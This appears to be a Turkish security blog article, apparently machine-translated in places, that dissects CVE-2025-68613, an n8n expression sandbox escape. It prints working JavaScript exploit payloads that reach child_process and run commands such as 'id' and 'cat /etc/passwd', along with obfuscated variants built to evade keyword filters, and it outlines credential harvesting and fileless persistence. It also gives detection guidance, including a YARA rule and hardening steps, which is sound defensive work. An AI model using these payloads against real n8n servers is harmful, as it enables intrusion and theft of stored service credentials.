Penligent Başlık

CVE-2025-68613'ün Nihai Otopsisi: n8n İş Akışı Motoru Bir Truva Atı Haline Geldiğinde

2025'in kapanmakta olan güvenlik ortamında, güvenlik bilgilerinin açıklanması CVE-2025-68613 (CVSS 10.0) sektörü kinetik bir silah gücüyle vurdu. Dünyanın en popüler açık kaynaklı iş akışı otomasyon aracı olarak, n8n sayısız işletmenin temel iş mantığını desteklemektedir. Ancak, kimliği doğrulanmamış (veya düşük ayrıcalıklı) saldırganların keyfi kod çalıştırmasına olanak tanıyan bu güvenlik açığı, modern "Düşük Kodlu/Kodsuz" platformların mimari Aşil topuğunu tamamen ortaya çıkarmıştır.

Kıdemli güvenlik mühendisleri ve Red Team araştırmacıları için CVE-2025-68613 bir "Doğrulama Hatası "ndan çok daha fazlasıdır. Bu durum, güvenlik sorunlarının bir arada istismar edilmesine ilişkin bir ders kitabı niteliğindedir. Node.js Dinamik Çalışma Zamanı, Nesne Yetenek Modeli Arızasıve Prototip Kirliliği.

Bu makale, V8 motorunun iç kısımlarına derinlemesine dalmak, sanal alan kaçışının her baytını yapısöküme uğratmak ve kurumsal Mavi Ekipler için kapsamlı bir tespit ve savunma el kitabı sağlamak için yüzeysel güvenlik açığı raporlamasını terk ediyor.

CVE-2025-68613

Saldırı Yüzeyinin Yapısını Bozma

n8n'in temel değer önerisi "bağlanabilirlik "tir. Binlerce entegrasyon düğümü aracılığıyla veritabanlarını, SaaS hizmetlerini ve dahili API'leri bir araya getirir. Dinamik veri işlemeyi mümkün kılmak için n8n, kullanıcıların JavaScript ifadelerini düğümlerin içine yerleştirmelerine olanak tanır. {{ }} Sözdizimi.

CVE-2025-68613'ün ortaya çıkmasından önce, n8n yerel Node.js'ye güveniyordu vm modülünü kullanarak kullanıcı tarafından sağlanan bu kodu izole edebilirsiniz.

Neden Node.js vm?

Node.js vm modülü, bir V8 sanal makine bağlamında kod derlemeye ve çalıştırmaya olanak tanır. İzole edilmiş bir global nesne sağlar (Bağlamlandırılmış Sandbox).

  • İdeal olarak: Kod, sanal alan dışındaki değişkenlere erişemez.
  • Gerçeklik: Bu vm modülü güvenlik camiasında yaygın olarak "Broken by Design.”

Saldırı Yüzeyi Analizi:

  1. Giriş Noktaları: İfade girdisini kabul eden herhangi bir düğüm (örn, Set, Fonksiyon, HTTP İsteği düğümler).
  2. Yürütme Akışı: Kullanıcı Girdisi -> Dize Ayrıştırma -> vm.runInNewContext() -> Yürütme.
  3. Kusur: Sandbox içindeki herhangi bir nesne harici bir nesneye referans verdiği sürece (örneğin, ana bilgisayar ortam değişkenlerini Bu bağlamında), bir saldırgan JavaScript'in Prototip Zincir Tırmanışı kum havuzundan kaçmak için bir mekanizma.

Teknik Derin Dalış-Prototip Zincirinden RCE'ye

CVE-2025-68613'ün istismar mantığını anlamak için aşağıdakileri kavramak gerekir kurucu özelliğini JavaScript'te kullanabilirsiniz.

JavaScript'teki hemen hemen her nesnenin bir kurucu özelliği onu oluşturan işlevi işaret eder.

  • ({}).kurucu === Nesne
  • Object.constructor === Fonksiyon

Çekirdek Kaçış Mantığı: this.constructor.constructor

n8n'in kısıtlı ortamında, bir saldırgan doğrudan require('child_process'). Ancak saldırgan mevcut yürütme bağlamına sahiptir: Bu.

  1. Hop 1: Bu sandbox içindeki bağlam nesnesidir.
  2. Hop 2: this.yapıcı bu Nesne kum havuzunun içinde kurucu.
  3. Hop 3 (Kritik): this.constructor.constructor çözer Ev Sahibi Fonksiyon kurucu.

Bu neden korumalı alanı ihlal eder? Çünkü V8 motoru, bağlamlar arası nesne etkileşimlerini ele alırken, kök nesne dışarıdan kaynaklanıyorsa yapıcı zincirini harici tanıma çözümler.

Saldırgan, Ana Bilgisayarın Fonksiyon kurucusunda çalıştırılan anonim bir işlevi dinamik olarak oluşturabilirler. Ev Sahibi Bağlamı. Bu anonim fonksiyon sandbox kısıtlamaları ile sınırlandırılmamıştır ve global süreç nesne.

Tam Exploit İlkeli

Saldırgan tarafından oluşturulan yük basit bir dize değil, Node.js modül yükleme sistemini yeniden yapılandırmak için tasarlanmış kesin bir JavaScript kodu parçasıdır.

JavaScript

'// Aşama 1: Ana Ortamın İşlev Kurucusunu Edinme const ForeignFunction = this.constructor.constructor;

// Aşama 2: Dinamik olarak 'process' nesnesini döndüren bir fonksiyon oluşturun // Bu kod, sandbox'ı atlayarak Host Context'te yürütülür const getProcess = ForeignFunction('return process');

// Aşama 3: Süreç tanıtıcısını almak için fonksiyonu çalıştırın const proc = getProcess();

// 4. Aşama: 'require' tanıtıcısını almak için mainModule'e erişin const require = proc.mainModule.require;

// Aşama 5: 'child_process' dosyasını yükle ve sistem komutlarını çalıştır const result = require('child_process').execSync('id').toString();`

Bir n8n içinde {{ }} ifadesi, bu mantığın tek satırlık ölümcül bir enjeksiyona sıkıştırılmış halidir.

Savaş ve Gizleme - Statik Filtreleri Atlama

CVE-2025-68613'e karşı ilk savunma girişimlerinde, bazı geçici yamalar regex kullanarak process, constructor veya require gibi anahtar kelimeleri filtrelemeye çalıştı.

Ancak JavaScript gibi son derece dinamik bir dil için statik filtreleme boşunadır.

Gizleme Varyantı A: Dize Birleştirme ve Kodlama

Saldırganlar, JavaScript'in anahtar kelimeleri bölme veya kodlama esnekliğinden yararlanarak imza tespitini atlatırlar.

JavaScript

{{ // "yapıcı" algılamayı atlama this['con'+'structor']['con'+'structor']( // "return process" algılamayı atlama 'return p'+'rocess' )() .mainModule.require('ch'+'ild_pr'+'ocess') .execSync('cat /etc/passwd') }}

Gizleme Varyantı B: Yansıtma ve Proxy

Gelişmiş saldırganlar Reflect.get özelliklerine dinamik olarak erişmek için Soyut Sözdizimi Ağacı (AST) analizinin çağrı zincirini izlemesini zorlaştırır.

JavaScript

{{ // Reflect kullanarak yapıcı anahtarını dinamik olarak bulma const c = Reflect.get(this, Reflect.ownKeys(this).find(k => k.toString() === 'constructor')); // Yürütme ile devam edin... }}

Bu, basit regex eşleştirmesinin CVE-2025-68613'ü düzeltemeyeceğini göstermektedir; düzeltme, altta yatan Nesne Yetenek Kısıtlamaları.

Post-Exploitation-Neden n8n Mükemmel Bir Sahil Noktası

n8n sunucusunu tehlikeye atmak (bir Kabuk elde etmek) sadece başlangıçtır. APT (Gelişmiş Kalıcı Tehdit) öldürme zincirinde n8n benzersiz bir stratejik değere sahiptir.

Kimlik Bilgisi Toplama

n8n veritabanı (tipik olarak SQLite veya PostgreSQL) tüm bağlı hizmetler için kimlik bilgilerini depolar. Şifrelenmiş olsa da, RCE'ye sahip bir saldırgan şifreleme anahtarını (genellikle ortam değişkenlerinde veya yapılandırma dosyalarında) okuyabilir ve böylece şifreyi çözebilir:

  • AWS IAM Kullanıcı Anahtarları
  • Stripe / PayPal API Anahtarları
  • Kurumsal Veritabanı Bağlantı Dizeleri
  • Slack / Discord Bot Jetonları

Yanal Hareket

n8n sunucuları genellikle intranetin derinliklerinde konuşlandırılır ve çeşitli dahili API'lere erişmelerine izin verilir. Saldırganlar n8n'i bir SOCKS Proxyveya diğer dahili hizmetlere (Jenkins, GitLab gibi) prob istekleri göndermek için mevcut HTTP İstek düğümlerini doğrudan değiştirerek dahili varlıkları etkili bir şekilde tarayabilir.

Kalıcılık

Geleneksel kötü amaçlı yazılım ikili dosyaları EDR çözümleri tarafından taranır. Ancak bir saldırgan n8n'de her 5 dakikada bir çalışan ve kötü amaçlı JavaScript çalıştıran bir "Cron" iş akışı oluşturursa, bu arka kapı Dosyasız. Tamamen normal iş mantığının içine karışarak tespit edilmesini son derece zorlaştırır.

Mavi Takım El Kitabı-Tespit ve Savunma

Kurumsal Güvenlik Ekipleri (Blue Teams) için CVE-2025-68613 ile yüzleşmek, resmi yamayı uygulamaktan daha fazlasını gerektirir.

Trafik İmza Tespiti (SIEM/IDS)

Aşağıdakileri içeren HTTP istek gövdelerini izleyin {{ gibi anahtar kelimeleri de içeren kurucu, süreç, yöneticiveya yumurtlamak.

YARA Kuralı Örneği:

rule DETECT_N8N_RCE_ATTEMPT { meta: description = "n8n'i (CVE-2025-68613) hedefleyen ifade ekleme girişimlerini algılar" severity = "Kritik" stringler: $expr_start = "{{" $keyword1 = "constructor" $keyword2 = "process.mainModule" $keyword3 = "child_process" $keyword4 = "String.fromCharCode" condition: $expr_start ve (2 of ($keyword*)) }

Günlük Denetimi

Anormal durumlar için n8n yürütme günlüklerini denetleme HATA mesajlar, özellikle aşağıdakileri içeren kayıtlar Global değişkene erişim reddedildi veya ReferenceError: süreç tanımlanmamış. Bunlar genellikle bir saldırganın sanal alan sınırlarını araştırdığını gösterir.

Mimari Sertleştirme

  • Docker İzolasyonu: n8n kapsayıcılarını şu şekilde çalıştırın -cap-drop=ALL Gereksiz tüm Linux Yeteneklerini kaldırmak için.
  • Çıkış Trafik Kontrolü: Ağ İlkelerini, n8n konteynerinin beyaz listede olmayan genel IP'lere bağlantı başlatmasını yasaklayacak ve ters kabukların C2 sunucularına bağlanmasını engelleyecek şekilde yapılandırın.

Sonuç: Düşük Kodlu Güvenlik için Bir Dönüm Noktası

CVE-2025-68613, Low-Code/No-Code platformlarının güvenlik tarihinde bir dönüm noktasını temsil etmektedir. Bize şunu hatırlatıyor Esneklik ve Güvenlik genellikle sıfır toplamlı bir oyundur.

Bir programlama dilinin tüm gücünü (JavaScript ifadeleri gibi) sıradan kullanıcılara verdiğimizde, saldırganları çalışma zamanı ortamımıza etkin bir şekilde davet etmiş oluruz. Gelecekteki güvenlik savunmaları artık kırılgan uygulama seviyesindeki kum havuzlarına güvenemez, ancak Tasarımla Güvenli mimarileri, örneğin kullanıcı kodu yürütmesinin gerçek bellek güvenli izolasyonu için WebAssembly (Wasm) kullanımı gibi.

Güvenilir Referanslar

Gönderiyi paylaş:
İlgili Yazılar
tr_TRTurkish